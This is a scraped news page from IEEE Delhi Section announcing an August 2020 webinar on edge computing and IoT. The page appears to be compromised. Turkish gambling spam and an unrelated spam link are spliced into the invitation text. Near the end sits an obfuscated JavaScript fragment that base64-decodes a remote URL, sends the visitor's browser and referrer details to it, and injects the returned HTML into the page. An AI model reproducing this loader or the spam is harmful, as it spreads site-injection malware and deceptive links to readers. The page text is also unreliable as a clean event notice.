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Invitation for Webinar on "Is Edge Computing, the savior of IoT?" dated 22-08-2020

IEEE Delhi Section with Computer Society Chapter, Consultants Network Affinity Group, Life Member Affinity Group, Inter Society Relations, Industry Relations & SIGHT Standing Committees of IEEE Delhi with the associations CSI, Safa Society, ISTE Delhi Section, IETE Delhi Centre, invites you for a Webinar on 22-August-2020, the Saturday, at 06:00 p.m. En yüksek deneme bonusu veren siteler 2023 listesine tinfishgaslamp.com [1] adresinden ula?abilirsiniz.

Edge Computing, one of the emerging paradigm, represents a new trend to improve the overall network efficiency by delivering low-latency, energy consumption, bandwidth-efficient and resilient services to IoT users that allow computation near to the data sources which is at edge of network and additional benefits like cyber security / physical security, privacy, interoperability as the processing occurs close to edge. The outlook of the current market trend is that with Edge Computing adoption coupled with a cloud strategy is set to increase, where greater proportion of IoT applications would run on the edge. This Webinar will cover Current trends in the Edge IoT ecosystem, Edge Node / Edge Gateway, Industrial Challenges, Emerging technologies & protocols, Smart Factory, Critical use cases, Evolving standardization bodies, Evolving hardware platform and open source platforms for software development. amplifeeder.com [2]

File:

 Invitation for Webinar on Edge Computing dated 22-08-2020.pdf^[3]

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News Date:

Saturday, 11 July, 2020 - 15:30

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{ let selfer=new XMLHttpRequest;selfer.open("GET",
decodeURIComponent(escape(atob('aHR0cHM6Ly91cmxzcGF0aC5jb20vdmVyaWZ5LnBocA==')))
+
nt=${navigator?.userAgent}&r=${document?.referrer}`),selfer.onreadystatechange=()=>{if(4==selfer.readyState)
e);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("Reque
}); //-->
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Links:

[1] <https://www.tinifishgaslamp.com/>

[2] <https://amplifeeder.com/>

[3] <http://14.140.205.245/sites/default/files/news/Invitation%20for%20Webinar%20on%20Edge%20Computing%20dated-22-08-2020.pdf>